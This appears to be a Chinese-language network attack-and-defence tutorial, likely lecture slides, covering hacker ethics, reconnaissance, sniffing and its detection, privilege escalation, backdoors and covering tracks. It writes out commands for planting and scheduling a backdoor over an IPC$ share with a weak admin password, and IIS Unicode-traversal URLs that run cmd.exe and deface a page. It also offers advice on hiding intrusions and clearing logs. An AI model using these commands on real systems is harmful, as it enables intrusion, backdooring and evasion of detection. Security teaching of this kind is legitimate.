网络攻防教程

sddz

网络攻防教程  

网 络 攻 防
声明：

本教程一切涉及攻击方面的方法及实例目的为了了解漏洞隐患，以便我们针对不同的漏洞做好安全防范。大家不要利用这些攻击方法去肆意破坏他人的系统及网络。

概述

信息和网络安全技术经过近十年的发展，在深度和广度上已经有了很大的进步，其中一个重要的研究趋势就是注重攻、防结合，追求动态安全。

教程内容

了解系统及网络的不安全隐患
了解系统漏洞的原理及危险性
攻击技巧及工具的使用
如何利用漏洞进行系统攻击
如何利用漏洞进行网络攻击
对软件漏洞的攻击及软件的破解
如何防止恶意攻击
如何构建安全的系统和网络环境
引子

深入了解系统漏洞及管理漏洞带来的危险性。

例1 （弱口令漏洞攻击） 目的：了解管理漏洞带来的危害。 net use \\\\xxx.xxx.xxx.xxx\\ipc$ password /user:admin copy backdoor.exe \\\\xxx.xxx.xxx.xxx\\admin$\\system32 net time \\\\xxx.xxx.xxx.xxx at \\\\xxx.xxx.xxx.xxx 23:00 backdoor.exe
例2 （Unicode漏洞攻击） 目的：了解系统漏洞带来的危害。 http://xxx.xxx.xxx.xxx/scripts/. ... 2/cmd.exe?/c+dir+c:\\ http://xxx.xxx.xxx.xxx/scripts/. ... em32/cmd.exe?/c+set http://xxx.xxx.xxx.xxx/scripts/. ... ho+iamhacker+>c:\\inetpub\\wwwroot\\index. htm
黑客定义的争议

什么是黑客？

黑客其实是Hacker的音译，源于动词Hack其引申意义是指“干了一件非常漂亮的事”。在这里我们说黑客是指那些精于某方面技术的人。对于计算机而言，黑客就是精通网络、系统、外设以及软硬件技术的人。

什么是骇客？ 有些黑客逾越尺度，运用自己的知识去做出有损他人权益的事情，我们就称这种人为骇客（Cracker,破坏者）。

黑客精神

“Free”(自由、免费)的精神
探索与创新的精神 所有的黑客都是喜欢探索软件程序奥秘的人。他们探索程序与系统的漏洞，在发现问题的同时会提出解决问题的方法。
反传统的精神
合作的精神
黑客守则（守则有很多版本，整理为12条）

不要恶意破坏任何的系统，这样做只会给你带来麻烦。
不要破坏别人的软件和资料。
不要修改任何系统文件，如果是因为进入系统的需要而修改了系统文件，请在目的达到后将他改回原状。
不要轻易的将你要黑的或者黑过的站点告诉你不信任的朋友。
在发表黑客文章时不要用你的真实名字。
正在入侵的时候，不要随意离开你的电脑。
不要入侵或破坏政府机关的主机。
将你的笔记放在安全的地方。
已侵入的电脑中的账号不得清除或修改。
可以为隐藏自己的侵入而作一些修改，但要尽量保持原系统的安全性，不能因为得到系统的控制权而将门户大开。
不要做一些无聊、单调并且愚蠢的重复性工作。
做真正的黑客，读遍所有管一系统安全或系统漏洞的书。
为什么会有攻击？

帮助系统管理员检察系统漏洞
位子你的私人恩怨而攻击
商业或个人目的获得秘密资料
民族仇恨
利用对方的系统资源满足自己的需求
寻求刺激
无目的攻击
攻击前的准备工作

隐藏自己的IP

攻击的途径

针对端口攻击
针对服务攻击
针对第三方软件攻击
DOS攻击
针对系统攻击
口令攻击
欺骗
攻击的过程（进攻四部曲）

踩点扫描 被动的侦察（监听） 主动的侦察
获得系统或管理员权限
保持访问
在网络中隐身 清除脚印
踩点

什么是踩点？

踩点就是通过各种途径对所要攻击的目标进行多方面的了解 （包括任何可得到的蛛丝马迹，但要确保信息的准确）。

踩点的方法

域名及其注册机构的查询
公司性质的了解
对主页进行分析
邮件地址的搜集
目标IP地址范围查询
主动的侦察（扫描）

扫描的目的

扫描的目的就是利用各种工具在攻击目标的IP地址或地址段的主机上寻找漏洞。

扫描的原理

扫描是采取模拟攻击的形式对目标可能存在的已知安全漏洞逐项进行检查，目标可以是工作站、服务器、交换机、路由器、数据库应用等对象。根据扫描结果向扫描者或管理员提供周密可靠的分析报告。

被动的侦察（嗅探监听）

背景

网络嗅探监听原本是网络管理员使用一类管理工具，监视网络的状态、数据的流动、以及网络上传输的信息。但这类工具也常被黑客所使用，以此获得网络上传输的敏感信息。监听效果最好的地方是网关、路由器、防火墙之类信息聚集的设备处。

嗅探监听的原理

以太网协议的工作方式：

为将要发送的数据包发往所有的连在一起的主机，也就是广播，在报头中包含目标机的正确地址。因此只有与数据包中目标地址一致的那台主机才会接收数据包，其他的机器都会将包丢弃。但是，当主机工作在监听模式下时，无论接收到的数据包中目标地址是什么，主机都将其接收下来。 一个合法的网络接口应响应的数据帧：

帧的目标区域具有和本地网络接口相匹配的硬件地址； 帧的目标区域具有“广播地址”； 网络接口在接收到上面这两种数据包时，NC（Numerical Control, 数字计算机控制）通过CPU产生一个硬件中断，该中断使操作系统将帧中所包含的数据传送给系统进一步处理。监听软件就是能使本地NC处于混杂状态，这时NC具备“广播地址”所以对所有接收的帧都产生一个硬件中断。 注释： 一台计算机只能监听经过自己网络接口的数据包，不能监听不在同一网段的计算机传输的信息。

网络嗅探监听的检测

检测的难度

运行网络监听的主机只是被动的接收数据，并没有主动的行动，既不会与其他主机交换信息，也不能修改网上传输的信息包。这决定了网络监听检测是非常困难的。

解决办法

运行监听软件的主机系统因为负荷过重，因此对外界的响应缓慢。 对怀疑运行监听程序的主机，用正确的ip地址和错误的物理地址去ping，如果运行了监听程序该机会有响应。因为正常的机器不接受错误的物理地址，处于监听状态的主机会接受。

如何获得系统或管理员权限

获得系统及管理员权限的目的

连接到远程计算机，对他进行控制，达到自己的攻击目的。

获得系统及管理员权限的方法

通过系统漏洞获得系统权限。
通过管理漏洞获得管理员权限。
通过软件漏洞得到系统权限。
通过监听获得敏感信息进一步获得相应权限。
通过弱口令获得远程管理员的用户密码。
通过穷举法获得远程管理员的用户密码。
通过攻破与目标机有信任关系另一台机器进而得到目标机的控制权。
通过欺骗获得权限。
其他有效的方法。
长期保持对攻击目标的控制

后门

入侵者的最后一招便是在受侵害的系统上创造一些机会以便日后卷土重来，并希望能伪装成管理员----种植后门或木马。

后门的种类很多

网页后门
Telnet后门
账号后门
木马
系统后门
击键记录后门
攻击之后的工作（掩盖踪迹）

清除事件查看器日志
清除IIS、中端服务日志
隐藏文件